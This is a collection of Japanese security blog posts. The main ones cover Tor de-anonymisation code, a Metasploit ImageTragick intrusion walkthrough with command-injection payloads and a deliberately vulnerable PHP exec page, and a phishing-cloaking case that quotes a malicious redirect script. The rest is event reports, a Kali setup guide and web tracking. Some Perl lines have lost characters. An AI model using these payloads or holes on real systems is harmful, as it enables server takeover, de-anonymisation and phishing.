FBIがTorを破ったネットワーク捜査手法について


FBIは過去にTorを利用して児童ポルノサイトにアクセスするユーザを1000人以上摘発したことが知られています。
その手法はMetasploit FrameworkのDecloaking Engineを利用したものだと言われています。
今回はDecloaking Engineとはなんなのかを調査してみたいと思います。

Decloaking Engineの概要

Decloaking Engineはクライアント側の技術とカスタムサービスの組み合わせを使用してプロキシ設定に関係なくWebユーザの実際のIPアドレスを示すためのシステムです。
このツールは脆弱性を用いた攻撃は行いません。

Decloking Engineの動作原理

  1. Webクライアントがホスト名を解決しようとすると、その設定されたDNSサーバに検索要求を送信します。クライアントのDNSサーバは特定のドメインのネームサーバにクエリを送信します。ホスト名は一位の識別子が含まれている場合、DNSサーバはクライアントのIPアドレスを関連づけることが可能です。しかし被害者がsocks4a, socks5を利用しており、socks proxy越しにdnsリクエストを送信する場合、この手法は通用しません。socks4を利用している場合は通用します。

  2. Javaアプレットは、ソケットAPIを使用してホスト名を解決しようとすると、ホスト名がアプレットを提供するWebサイトと同じでない場合、セキュリティ例外が発生します。しかし、セキュリティ例外がトリガされていても、DNS要求自体は依然として、クライアントのDNSサーバーに送信されます。これは、DNS対応プロキシサーバが使用中の場合、特定のクライアントがあっても例に、ウェブにアクセスして、そこからISPや企業をリークすることができます。

  3. JavaアプレットはUDPパケットを送信すると、パケットは通常、プロキシサービスを経由せずに送信されます。これは、Webクライアントの実際の外部IPアドレスをリークします。このメソッドは、Javaの新しいバージョンでは動作しない可能性があり、パケットの宛先は、アプレットを提供するホストのIPアドレスに制限されています。

  4. Javaが有効になっている場合、Webクライアントのホスト名とIPアドレスは、ソケットAPIにアクセスすることができます。この方法は、ユーザのホスト名とIPアドレスが漏洩します。言い換えれば、これは、システムがNATゲートウェイまたはプロキシサーバの背後にある場合でも、システムの内部IPアドレスが漏洩します。

  5. Flashプラグインがインストールされると、それは、バック元のホストへの直接TCP接続を可能にします。これらの接続は、ユーザーのホストの実際の外部アドレスが漏れ、プロキシサーバをバイパスすることがあります。

  6. Microsoft Officeがインストールされ、自動的に開いているドキュメントに設定されている場合、ファイルは自動的にインターネットから画像をダウンロードする返すことができます。これは、プロキシ設定を省略して、ユーザーの実際のDNSサーバを公開することができます。

カスタムDNSサーバ

動作原理で説明した手法を実行するためにはカスタムされたDNSサーバを用意しなければなりません。カスタムDNSサーバはmetasploit framework teamによりソースコードが公開されています。

#!/usr/bin/perl
###############

use Net::DNS::Nameserver;
use DBD::Pg;

use strict;
use warnings;

# Configure the user ID to run as (must start as root)
my $user = 1015;

# Configure the interfaces and ports
# You need :53 on the wildcard domain and :5353 on the IP running the web site
my $bind = [ ['0.0.0.0', 53], ['0.0.0.0', 5353] ];

# You need :53530 TCP on the IP running the web site
my $tcps = [ ['0.0.0.0', 53530] ];

# Wildcard subdomain we handle DNS for
my $dom  = "red.metasploit.com";

# Configure postgres credentials
my $db_name = "dbname";
my $db_user = "dbuser";
my $db_pass = "dbpass";
my $dbh;

my $opts = {
        AutoCommit => 1,
        RaiseError => 0,
};

# Escape the $dom var to be a valid regex
$dom =~ s/\./\\\./g;

foreach my $c ( @{$bind} ) {
        if (! fork()) {
                Launch($c->[0], $c->[1]);
                exit(0);
        }
}

foreach my $c ( @{$tcps} ) {
        if (! fork()) {
                LaunchTCP($c->[0], $c->[1]);
                exit(0);
        }
}

exit(0);

# This table must already exist
##
# Table "public.requests"
#  Column |         Type          | Modifiers
# --------+-----------------------+-----------
# cid    | character(32)         |
# type   | character varying(16) |
# eip    | character varying(16) |
# iip    | character varying(16) |
# dip    | character varying(16) |
# stamp  | timestamp             |
##

sub reply_handler {
        my ($qname, $qclass, $qtype, $peerhost) = @_;
        my ($rcode, @ans, @auth, @add);

        if ($qname =~ m/^([a-z0-9]{32})\.(\w+)\.(\d+\.\d+\.\d+\.\d+)\.(\d+\.\d+\.\d+\.\d+)\.$dom/) {
                # print "$peerhost > $qname (MATCH)\n";
                my ($cid, $type, $eip, $iip, $dip) = ($1, $2, $3, $4, $peerhost);
                my $sth = $dbh->prepare("INSERT INTO requests values (?, ?, ?, ?, ?, now())");
                $sth->execute($cid, $type, $eip, $iip, $dip);
                $sth->finish();
        }else{
                # print "$peerhost > $qname (NO MATCH)\n";
        }

         if ($qtype eq "A")
         {
             my ($ttl, $rdata) = (1, $peerhost);
             push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
             $rcode = "NOERROR";
         }
         elsif ($qtype eq "PTR") {
             my ($ttl, $rdata) = (1, $peerhost);
             push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
             $rcode = "NOERROR";
         }
         else {
             my ($ttl, $rdata) = (1, $peerhost);
             push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
             $rcode = "NOERROR";
         }

         # mark the answer as authoritive (by setting the 'aa' flag
         return ($rcode, \@ans, \@auth, \@add, { aa => 1 });
}

sub Launch {

my $host = shift();
my $port = shift();

$0 .= " ($host:$port)";

$dbh = DBI->connect("DBI:Pg:dbname=$db_name", $db_user, $db_pass, $opts) || die "Couldn't connect to database: " . DBI->errstr;

my $ns = Net::DNS::Nameserver->new(
    LocalPort    => $port,
    LocalAddr    => $host,
    ReplyHandler => \&reply_handler,
    Verbose      => 0,
);


$ = $user;


if ($ns) {
        $ns->main_loop;
} else {
   die "Couldn't create nameserver object\n";
}

}

sub LaunchTCP {

my $host = shift();
my $port = shift();

$0 .= " TCP ($host:$port)";

my $srv =  IO::Socket::INET->new(
        'Proto'     => 'tcp',
        'LocalPort' => $port,
        'LocalAddr' => $host,
        'Listen'    => 5,
        'Reuse'     => 1
);

die unless $srv;

while (my $cli = $srv->accept()) {

        if(! fork()) {
                my $sel = IO::Select->new($cli);
                $cli->autoflush(1);
                if ($sel->can_read(5)) {
                        my $buf = ;
                        if ($buf && $buf =~ m/^([a-z0-9]{32}):(.*)/i) {
                                my $cid = $1;
                                my $eip = $2;
                                chomp($eip);

                                $dbh = DBI->connect("DBI:Pg:dbname=$db_name", $db_user, $db_pass, $opts) || die "Couldn't connect to database: " . DBI->errstr;
                                my $sth = $dbh->prepare("INSERT INTO requests values (?, ?, ?, ?, ?, now())");
                                $sth->execute($cid, 'socket', $eip, '0.0.0.0', $cli->peerhost);
                                $sth->finish();
                                print $cli ($cli->peerhost . "\x00");
                        }
                }
                $cli->close();
                exit(0);
        }
}

}

カスタムDNSサーバはPerlのはNet::DNS::Nameserverのスクリプトを使用して要求を処理し、特定のドメインに対するすべての要求を処理します。このDNSサーバーの巧妙な機能はspy.metasploit.comドメイン内の任意のホストを検索すると、独自に設定されたDNSサーバの外部IPアドレスを返すことです。また、このサーバーはフラッシュからJavaやTCP要求からのUDP要求を処理します。

decloaking Engineの現状と未来

Decloaking Engineは2008年に発表されましたが、現時点では削除されているようです。確かに陳腐化する手法ではあると思いますが、FBIが利用していると言うならば、基本となる考え方は実績があり、例えば日々発見されるFlashなどの脆弱性を組み込めば使えるようになるはずです。
しかし未来を見据えるなら、Flashは今後どのブラウザでも廃止されHTML5になるでしょう。JavaAppletやJavaはTorブラウザからは使用すべきではないということはTorを利用している人なら多くの人が理解していますし、デフォルト設定ではそうなっています。

まとめ

FBIの現時点での手法は苦肉の策であり、脆弱性を組み込まない限り成功率も低く、将来的にも使えるものではないようです。DeepWebは必要に駆られたジャーナリストなどに使用されるならば、新たな可能性を秘めていると考えますが、児童ポルノに関わる犯罪をなくすためにも新たな手法が望まれています。

Hackerzミーティング博多


6/12日曜日に福岡市博多区のGARB LEAVESさんにて第一回ハッカーズミーティングを開催致しました。今回はその様子をお伝えします。

福岡 博多駅前のカフェレストラン GARB LEAVES(ガーブ リーブス)

IMG_5585

当日の行程は以下の通りです。

以下敬称略
司会:近藤
ファシリテーター:古林
コメンテーター:日下部
19:00 挨拶、乾杯
挨拶(19:00)
・司会自己紹介(近藤)
IMG_5606
IMG_5612
・Hackerz Lab.代表挨拶(古林)
IMG_5607
・タイムテーブル紹介・システム紹介・DJ・VJ紹介(近藤)
(null) (1)
IMG_5599
IMG_5604
・White Hackerz挨拶(宮脇)
・乾杯(宮脇)
IMG_5591
19:00〜19:30 DJ Wimps&VJatk
IMG_5588
19:30〜20:00 ハッカーズトーク&サウンドファシリテートatk(右からWhitehackerz田口校長、ジェリー氏、清田弁護士、日下部氏、ファシリテーター古林氏)
対談では田口校長より最近のサイバーセキュリティ業界の動向についてお話しし、続いて清田弁護士よりサイバー犯罪についての見解、そして最も驚いたのがドイツ人ジェリー氏による量子コンピューター界隈の情勢について!自身も量子コンピューターの研究・開発者でもあるジェリー氏のディープすぎる話しに会場は生唾飲んで聞き入っていましたwwww
IMG_5589
IMG_5594
IMG_5590
IMG_5603
IMG_5602
IMG_5593
20:00〜20:20 フリートーク
IMG_5592
IMG_5598
IMG_5600
IMG_5610
IMG_5613
IMG_5614
20:20〜20:30 ハッカーズソングLIVE
IMG_5611
(null) (2)
20:30〜21:00 フリートーク&希望者自己紹介など
IMG_5615
IMG_5616
IMG_5617
21:00 挨拶、イベント等告知、記念撮影
IMG_5583
以上惜しまれながら閉会の運びとなりました。
第一回にしては多くの方々にお集まり頂き感謝申し上げます。
これからこの集まりにおいて、技術的考査をしたりサイバー犯罪における事例検証したりサイバーセキュリティにおける法令・条例についての議論の場であったりそしてサイバーセキュリティにおける新しいサービス・ソフト開発のきっかけになったり、、、この4点に重点をおき九州地区ナンバー1のセキュリティ会議に成長させてまいります。
次回第二回開催日程は今から2週間程度で決定しますが粗方7月20〜末頃になる予定です。
また改めて告知させて頂きますが九州地区の皆様は奮ってご参加ください!
次回は100名!
IMG_5609
それではまた!

ImageTragickの脆弱性を攻略!~Metasploitを使って侵入してみた!


ImageTragickという脆弱性が2016年5月3日に公表され話題になっています。


[imagetragick.comより]

ちょうど、GW中に話題になった脆弱性です。
サーバ管理者や関連する方は招集がかかったのではないでしょうか。

ImageTragickとは
ImageMagickという画像を加工できるソフトで見つかった脆弱性の名前です。
このソフトは、例えば画像のフォーマット(JPG)を他のフォーマット(PNG)に変換したり、サイズを変更したり、減色したり、画像同士を合成したり、、、などなど、画像を簡単に編集できるソフトです。Windows、Mac、Linuxなど主要なOSをサポートしており人気があるソフトウェアです。

このImageMagickで画像を変換する際の処理が不十分で、それが脆弱性となっています。
この脆弱性にImageTragickという名前が付けられました。
また、専用のサイト(http://imagetragick.com)も開設されてます。

通常、脆弱性に名前がつくことは稀ですが、過去にもShellShockやHearBleedなど名前の付いた脆弱性がありました。インパクトのある脆弱性や被害が甚大なものなど、メディアに取り上げられやすいように名前やロゴをつくったりするケースが多いようです。

本記事ではMetasploit FrameWorkを使ってImageTragick脆弱性を突いてみたいと思います。
Metasploit Frameworkは、Kali Linuxに最初からインストールされています。
Kali Linuxのインストール手順は下記ブログを参照してください。

Kali Linuxをインストールしてみる!

まずImageTragickの脆弱性があるやられサーバを用意しましょう。
ImageTragickの脆弱性はImageTragick version 7.0.1未満に内包されています。

次にmetasploit frameworkで攻撃用のファイルを作成します。
Kali Linuxを立ち上げてMetasploitを起動します。
1

2

立ち上がるまで時間がかかります。
立ち上がったら、攻撃方法を指定します。

use exploit/unix/fileformat/imagemagick_delegate

3

info

この脆弱性に関する情報が確認できます。
ImageMagickのどのバージョンに脆弱性があるのか、などの情報がみれます。
12

 

次に、設定する情報を確認します。

show options

「Required」という箇所がyesになっている項目は必ずセットしないといけません。
この場合、左のCurrent Settingに既に値がセットされているので、このまま進みます。
13

次にどのファイルフォーマットに攻撃を仕込むか、という設定をします。

show targets

と入力してエンターを押します。
Exploit targetにいくつかの選択肢があります。
攻撃方法としてどの画像ファイルをつかうか、という設定です。
14

ここでは、1のMVGファイルを選択してみます。

set target 1

続いて、確認の為、再度、Show Optionsと入力すると、Exploit targetがSVGからMVGに変更されているのが確認できます。
15

次に、利用している端末のIPアドレスをセットします。
一度、自分のIPアドレスを確認するため、ifconfigでIPを確認しています。
IPアドレスを確認したらセットします。

set LHOST [攻撃者(ここではこのPC)のIP]

これで、前準備は完了です、

exploit

と入力してエンターキーをおすと、相手の接続を待ち受けている状態となります。
また、同時に攻撃用の画像ファイルが自動で作られます。

作られる場所は赤枠、/root/.msf4/local/msf.pngです。
この画像ファイルを脆弱性のあるPCにおくり、相手がImageMagickで画像を変換処理すると、相手のPCに進入する事ができます。
5

実際に、/root/.msf4/local/のフォルダをみると、msf.pngというファイルが作成されています。
この画像をターゲットのPCにおくります。6

ここではSCPコマンドでファイルを送ります。
相手のIPは10.0.2.15ですので、
spc [送りたいファイル] ユーザ名@[相手のIP]:[相手の送る場所]
11

相手のサーバ(10.0.2.15)にファイルを送信完了です。

[相手のサーバ画面]
先ほどおくったmsf.pnfを確認できます。
10

つぎに、このファイルをターゲットとなるPCでImageMagickをつかって変換します。
ここでは、msf.pngをhoge.jpgに変換してみます。

convert msf.png hoge.jpg

画面に変化はおきず、ずっと処理中のような形となります。
16

攻撃側のPCに戻ると、接続したとのメッセージが表示されます。
17

これは、相手のサーバに進入している状態です。
whoamiで、侵入したユーザ名、hostnameでホスト名、また、このPCで使われているパスワード閲覧など、色々できます。また、奪った権限によっては致命的な状態に陥ります。
18

確かに恐ろしい攻撃ですが、相手側はこちらが用意した攻撃用の画像ファイルを使わないと攻撃は成立しないため、そうそう起こりえる事でありません。

しかし、このImageMagickはwebアプリケーションでもよく使われています。
入力された画像ファイルをImageMagickをつかい画像サイズを変えたり、画像フォーマットを変更したり、といった加工しているケースです。

次は、webアプリケーション(php)からimagemagickを利用して、攻撃が成功する例をみていきます。
まずは、web側の環境をつくっていきます。

$ sudo apt-get install apache2 php-pear php5-dev php5 pkgconf
$ sudo peardev install pecl/imagick

php.iniファイルに”’extention=imagick.so”’を追記すればimagickライブラリをphpから利用することができます。
攻撃用ファイルを読み込むphpスクリプトを用意してブラウザからアクセスしてみます。

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-language" content="ja">
<meta charset="UTF-8" />
</head>
<body>
<?php
//ファイルアップロードサンプルです。
if ( $_POST["submit"] ) { 
 $original_image = $_FILES['filename']['tmp_name'];
 $new_image = $_FILES['filename']['name'];
 //グレイスケールに変換
 exec("convert -type GrayScale $original_image $new_image");
 echo "変換完了<br>";
 echo $original_image.":".$new_image;
 echo "<img src='".$new_image."' wdith='500'>";
}else{
?>
<p>画像をグレイスケールに変換:</p>
<form method="post" action="./upload.php" enctype="multipart/form-data"> 
<input type="file" name="filename" />
<input type="Submit" name="submit" value="変換" />
</form>
<?php
}
?> 
</body>
</html>

19

攻撃ファイルである、msf.pngを選択して変換ボタンをおします。
PHPを側でこのmsf.pngを受け取って、ImageMagickをつかい、グレースケールにしていますが、この処理の瞬間、攻撃が成功します。

相手サーバに侵入して、このPHPソースを表示しました。

当然、ファイルを書き換えたり削除したり、被害は甚大です。

20

このように、WEB側でImageMagickを利用しているサイトで攻撃ファイルを読み込みさせることでサーバを乗っ取ることができてしまいます。

それでは、なぜ脆弱性が起きるのかを見ていきます。

ImageMagickでは、受け渡された画像の種類を判断するために、coderという機能をつかって判断しています。このcoderを使っても判断できなかった場合、次にdelegateという機能をつかって判断します。このとき、このdelegateは外部のプログラムを実行するのですが、delegateはデフォルトの設定ではHTTPSリクエストを行います。
その際の入力チェックが不十分で任意のシェルコマンドを実行できてしまいます。

"wget" -q -O "%o" "https:%M"

この%Mのチェック処理が不十分なため、シェルコマンドが実行できてしまいます。

たとえば、ファイルのリストを表示するls -laというコマンドを変換元の画像に渡したい場合は

convert 'https://example.com";ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

このように、コマンドが実行されてしまいます。

SVGやMVGといった画像フォーマットにもImageMagickは対応しています。
このSVG形式の画像は、外部ファイルを参照することができます。

たとえば、exploit.svgという画像に外部URLを入れた場合は以下のようになります。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg"; xmlns:xlink=
"http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg&quot;ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

このexploit.svgをImageMagickで処理した場合、ファイルリストを表示する、ls -laコマンドが実行されます。

convert exploit.svg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

ImageMagickは、ファイルの種類を特定する際に、まず、ファイルの中身をチェックします。
ですので、exploit.svgを名前だけmsf.pngと変更しても中身はSVGファイルなので、拡張子チェックの前に処理されてしまいます。

脆弱性が存在するバージョンなのかチェックする

ImageMagickを利用している場合、そのバージョンがImageTragick脆弱性が存在しているか簡単にチェックをする事ができます。
PoCが公開されていますので、そちらを利用します。
PoCとは検証用のプログラムで、対策が必要か判断できます。
また、PoCは改変すれば攻撃ツールとしてしても利用可能となるので、利用する場合は注意が必要です。

それでは、検証を行っていきましょう。
gitコマンドで、ツールをダウンロードして、PoCsの中にある、test.shを実行します。

git clone https://github.com/ImageTragick/PoCs.git
cd PoCs/
./test.sh

21

しばらく待つと結果が表示されます。
UNSAFEとでるとまだ脆弱性があるバージョンを使ってます。
22

※環境や状況によってPoCで検知されない、というケースもありますので、あくまで参考とし、かならず実際にチェックする必要があります。

すでに、ImageMagickの最新バージョンではこの脆弱性は対応されていますが、最近の事ですので、対応されていないImageMagickを利用しているサイトもまだまだ多いのではないでしょうか。

サーバ管理者や早急にPoCなどを利用してImageMagickのバージョンを確認して最新のバージョンを利用するようにしてください。

最後に本記事はコンピュータセキュリティを学びたい人のために作成したものです。悪用はしないでください。

Kali Linuxをインストールしてみる!


Kali Linux セットアップ手順

はじめに。
Kali Linuxは、BackTrack Linuxの後継にあたるペネトレーション用のOSになります。
擬似的にハッキングを仕掛けてシステムの耐久力をテストするための様々ツール、ソフトが初めから入っています。
BackTrackに関しては以前紹介したこちらの記事を参照>>

KaliLinuxはソフトではなく、WindowsやMacと同じようなOSとなりますので、通常はパソコンを用意してその中に入れていくのですが、実際に専用のパソコンを準備するのは大変なので、バーチャル(仮想)として、現在利用しているWindowsの中に別のOSをインストールして利用する事が出来ます。
使いたい時だけ、仮想OSを起動して利用する事になります。
このようなことを実現するためのソフトが、VirtualBoxというソフトになります。

VirtualBoxにKali Linuxをセットアップして利用するための手順を紹介します。

まずは、VirtualBoxのセットアップを済ませておいて下さい。
VirtualBoxのダウンロードはこちらから>>

次に、Kali Linuxをダウンロードしておきます。
Kali Linuxのダウンロードはこちらから>>
VirtualBox用のImageをダウンロードしますが、約3GBあるので、時間がかかります。

Kali Linux Custom Images Download - Offensive Security

ファイルをダウンロードし解凍して、Kali-Linux-2016.1-vbox-amd64.ovaをVirtualBoxで読み込みます。

VirtualBox起動して、左上「ファイル」から「仮想アプライアンスのインポート」をクリックします。
36

ダウンロードして解凍した、Kali-Linux-2016.1-vbox-amd64.ovaを開き、次へをクリックします。
37

「インポート」をクリックします。
38

インポートが完了すると、VirtualBox、左側にKaliが表示されますので、選択して「起動」を」クリックします。    8

しばらくすると起動しますので、
ユーザ名、root
パスワードに、toor
と入力してログインします。29

パスワードには、toorと入力
30

最初は英語なので、日本語に変えておきます。
右上、電源のアイコンをクリックして、左下の設定ボタンをクリックします。
39

「 地域と言語」のアイコンをクリックします。
40

日本語を選択します。
41

一度、再起動します。
43

42

再び、ユーザ名、root、パスワード、toorでログインします。
VirtualBox上のKaliLinuxと利用しているWindows双方で、コピー・ペーストが出来るようにしていきます。
VirtualBoxの「デバイス」から、「Guest AdditonsのCDイメージを挿入」をクリックします。

32

自動実行するか聞いてきますので、「キャンセル」します。
33

左端にある、ターミナルをクリックします。34

CDの中にある、VBoxLinuxAdditions.runというファイルを、手元にコピーします。
起動したターミナルに以下のように入力してエンターキーをおします。
cp /media/cdrom/VBoxLinuxAdditons.run /root/
コピーコマンドです。

cp [コピーするファイル] [コピー先]

次に、コピーしたファイルを実行します。
以下のように打ちエンターキーを押します。

./VBoxLinuxAdditions.run

45

yesかnoか入力を聞いてきますので、yesと入力してエンターキーをおします。
46

以下の様な画面になったら完了です。
47

これで、Windowsからの文字をコピーして、Kaliに貼付けしたり、ファイルを直接ドラッグしたり出来るようになります。

このままでは、日本語が入力出来ませんので、次に日本語入力できるようにしておきましょう。
ターミナルに以下のように入力してエンターキーをおします。

apt-get install yim yum-anthy

続行するか聞いてくるので、Yを入力してエンターキーをおします。

51

処理完了したら、一度再起動します。

アップデートもしておきましょう。

apt-get update

50

Tiger育夫3ラウンドKO勝利!Whitehackerzスポンサーのキックボクサー応援4649!


今大会から微力ながらスポンサーさせて頂いているTiger育夫こと柳井育夫氏。7/19の試合では3ラウンドKO勝利!と絶好調です!もう次の試合が気になってしかたありません。これからも応援し続けて行きます!

IMG_2740 (2)

IMG_2714 (2)

IMG_2713 (2)

早く博多で祝勝会しましょう!!!!待っています!IMG_2012 (2)

また柳井氏は大阪府松原市にて若獅子会館松原支部の代表でもありそのコンセプトにもゆるぎない信念を感じさせる男です!

IMG_2745 (2)

IMG_2746 (2)

熱い熱い男ですので皆様も応援宜しくお願い致します!

Tiger育夫ブログ⇔http://ameblo.jp/ikuo0820/

 

ハッキング対策実例①~ショッピングサイト運営者様の場合~


日頃から、多くのお問い合わせをいただいております。
今日はその中から、実際の相談内容を紹介させていただきます。

4月下旬、1本の問い合わせメールを頂きました。

その内容は、

当社のショッピングサイトが何者かに不正にクローキングされているので、非常に迷惑している。Googleにも問い合わせしたが、対応してもらえず、会社の存続の危機であり、色々な方に相談したが、対応策が見当たりません。
どうか、話しだけでも聞いてほしい、

との内容でした。

早速、状況確認するため、メールの送り先であるショッピングサイトのオーナーに電話し、話を聞くことにしました。

相談内容は、ある特定のキーワード(実際には、このショッピングサイト名)で、検索すると、上位に、見に覚え内のないサイトが表示される、という内容でした。

実際に、検索して確認してみます。
(仮にキーワードをHOGEとします。)

Googleで、HOGEと入力して検索すると、全く同じタイトル、内容の検索結果が上位に2件表示されていました。

1番目に表示されているサイトにアクセスすると、ショッピングサイトが表示されます。
しかし、このショッピングサイトは、お問い合わせいただいたオーナー様も見に覚えのない、誰かが作成した偽物のショッピングサイトのようでした。
内容はオリジナルを丸コピーしたものでなく、全く別物のショッピングサイトでした。

2番めに表示されているのは、問い合わせされた方の正規のショッピングサイトです。

search

1番目に表示されている検索結果のURLは、www.dummy.comとなっていますが、アクセスして表示される偽のショッピングサイトのURLは、www.fake.jpとなっていました。

ですので、dummy.comから、fake.jpに自動でジャンプされていました。

検索からではなく、アドレスバーに直接、dummy.comとURLを入力してアクセスすると、自動ジャンプされず、dummy.comのコンテンツが表示されます。
ショッピングサイトではなく、海外の情報を発信するサイトが表示されました。

dummy.comがハッキングされ、細工された可能性があります。

アドレスバーに直接dummy.comを入力してソースを表示してみると、下記スクリプトがはいっていました。
<script>var s=document.referrer;if(s.indexOf(“google”)>0 || s.indexOf(“bing”)>0 || s.indexOf(“yahoo”)>0){self.location=’http://www.fake.jp/’;}</script>

このコードは、google、bing、yahooの検索サイトを経由してアクセスした場合は、fake.jpにジャンプさせ、アクセスさせる、という内容です。
ですので、検索からではなく、直接URLを入力するとこのコードは実行されず、dummy.comが表示された事になります。

このdummy.comのコンテンツは、海外のサイトであり、ショッピングサイトでありません。
当然、正規ページの内容や文章、HOGEといったキーワードなどまったく入っていない(そもそも国、言語が違う)、関係ないサイトが、なぜHOGEというキーワードで上位表示されているのでしょうか?

そこで、色々調査する中で以下の内容が判明しました。

Googleは、検索に表示させるサイトを収集するため、定期的に自動巡回プログラムを使ってサイト情報を収集しています。このプログラムをGoogleボットといいます。

通常、人がアクセスするのと変わらないのですが、このGoogleボットにはある特徴があります。それは、自分はGoogleボットです、という情報をもっている事です。

Googleボットにかぎらず、インターネットにアクセスした際、かならず、自分(利用しているブラウザの情報)が相手サーバーに送られます。

これを、User-Agent(ユーザーエージェント)といい、この情報にはアクセスしているブラウザの種類、バージョンなどのがはいっています。

Googleボットの場合、このUser Agentに、自分はGoogleボットです、という情報がはいっています。
アクセスするサーバー側で、このUser Agentが取得できますので、
見せるページを切り替える事ができます。

この切替手法はよく使われており、
たとえば、PCとスマホでは、画面のサイズが異なるので、UserAgentを取得して各端末毎にデザインされたページに切り替えさせて表示させる方法です。

このUser Agentは簡単に偽装できます。
Chromeだと、User-Agent Switcher for Chromeという拡張機能を使うと簡単に実現できます。

では、このUserAngetを偽装して、Googleボットがアクセスしたようにみせ、ハッキングされたサイト、dummy.comにアクセスしてみます。

すると、正規のショッピングサイトのページが表示されました。

また、Googleボットでアクセスした場合、URLが変わっていなかったので正規のショッピングサイトに移動されておらず、dummy.comのままで、正規のサイトが表示されていました。

つまり、YahooやGoogleから検索した場合は、dummy.comを経由して偽のショッピングサイトに誘導し、Googleボットには、正規のショッピングサイトに誘導していました。

また、Googleボットでアクセスした場合、さらに別サーバーに移動している事が分かりました。

まとめると、流れとしては、

①通常のアクセス   —> www.dummy.com —> JavaScriptでリダイレク —-> fake.jp

②Googleボット —> www.dummy.com —> 別の国のサーバ —-> official-site.jp

また、Googleボットでアクセスした際に表示される正規ページの中身は、ミラーリングされており、リアルタイムに情報を取得していました。
正規ページで商品追加などの更新を行うと、dummy.comの表示も即座に反映していました。

fake.jpは、フィッシングサイトであり、個人情報やクレジットカード情報を収集しているサイトと判明しました。
当然、購入しても商品は届きません。
しかし、問い合わせ先が正規サイトの情報が明記されていましたので、見に覚えのない問い合わせが入り、クレームが多発している状況でした。

このdummy.comは、海外の情報発信サイトであり、ページランクも高く、Googleの検索評価も高いと予想され、結果、正規ページより上位(結果1位)に表示されたと考えます。

このオーナー様が色々な方に助言され、対策を行ったが、解決せず当社に問い合わせされた、という経緯になります。

どのような助言をされたのか、聞いたところ、直接解決とは程遠い内容でした。
たとえば、ある業者からSSLを取得する事で、改善されますよ、と言われたそうで、実際に費用を支払、SSLを導入し、対策されておりました。
SSLを取得するという事は、サイト移転と同等です。httpよりhttpsの方が検索結果として優位だとは思いますが、決定的な順位決定事項でなく、まして今回の件が改善されるはずがありません。
逆に一時的に、順位が更に落ちる可能性もあります。
また、うまくいったとしても、1位と2位が入れ替わるだけで、なんら解決策ではありません。

オーナー様は現在の状況をすぐにでも解決したい、との事なのでSEO対策を行い、順位を上げる方法を行っても根本的な解決方法にはなりません。

また、Googleに問い合わせしてもいつになるのか、分からないといった状況です。

このハッキングされているサイトが日本国内で運営、稼働している場合は、サイト管理者にメールや場合よっては直接電話する、弁護士に相談など、色々手法はあるのですが、今回の場合は海外(英語圏ではない)です。

弊社に依頼する前にもこのサイト管理者に対して何度か問い合わせを試みたようですが、対応されていない現状でした。

そこで弊社の技術的チームがあらゆる対応策を洗い出し、対応を行いました。

結果、ご依頼をいただいてから2日でオーナー様が望む結果をだしました。

ご依頼されたオーナー様からは、多大な感謝を頂きました。

 

Web上でのユーザーを追跡する方法


検索エンジンでの私の古いクエリに応じて、Google AdSenseが頻繁にコンテキスト広告を侵入させてくることに私は常に悩まされてきた。検索したときからだいぶ時間が経ち、ブラウザのクッキーやキャッシュを何度か消去しているのにも関わらず、広告が残った。いったいどうやって彼らは私を監視し続けたのだろう?実は、これを行うための方法がたくさんあることが判明した。

まずはじめに

IDやユーザー追跡、または単にWebトラッキングは、特定のサイトを訪問する各ブラウザの一意識別子を計算し設定することを暗示している。元々はここまで悪用されるとは予想だにせず、他のものと同じく、役に立てるようにとまったく逆に考えられたものだった。たとえば、サイト所有者がボットと普通のユーザーを区別したり、ユーザー設定を保存し、二度目以降の訪問でもそれらを使用できる機能を提供するためだ。しかし同時に、この機能は広告業界に非常に好まれてしまった。あなたも良く知っているように、クッキーはユーザーを識別するための最も一般的な方法の一つである。積極的に広告業界で使われ始めたのが90年代半ば頃だ。

その時から多くのことが変わり、技術ははるか先へと進んだ。現在では、ユーザー追跡はクッキーだけに限られない。実際には、いろいろな方法でユーザーを識別することが可能だ。一番ハッキリした方法は、クッキーに似た識別子を設定することだ。次のやり方は、要求を送ったHTTP­ヘッダから収集することができるPCユーザーによって利用されたデータを活用することである。アドレス、使われたOSタイプ、時間など。そして最後に、ユーザーの行動及び習慣(カーソル移動、サイトのお気に入りセクション、等)によってそのユーザーを区別することができる。

明示的な識別子

このアプローチでは、必要とされるすべてのことが大変にハッキリしている。リソースの二度目以降の訪問の際に確認することができる長い間存在した識別子をユーザー側で保存する。最近のブラウザは、ユーザーに対して透過的にこれを実現させる方法をいくつも提供している。何よりも古い親切なクッキーがそれだ。そして、いくつかのプラグインの特徴はクッキーの機能に近い。例えば、フラッシュのLocal Shared Objects 、あるいはシルバーライトのIsolated Storageである。HTML5もクライアント側でいくつかのメカニズムを持っている。localStorage、File、IndexedDB APIなどである。これらの場所以外に、ユニークなマーカーはローカルマシンまたはメタデータキャッシュのキャッシュされたリソースに保存できる。(Last­Modified、ETag)

また、SSL­接続用ブラウザによって定義づけされているOrigin Bound Certificatesから取得した描画、SDCH辞書に含まれるデータ、これらの辞書のメタデータなどからユーザーを識別することが可能である。一言で言えば、やり方は充分すぎるほどあるのだ。

Cookies

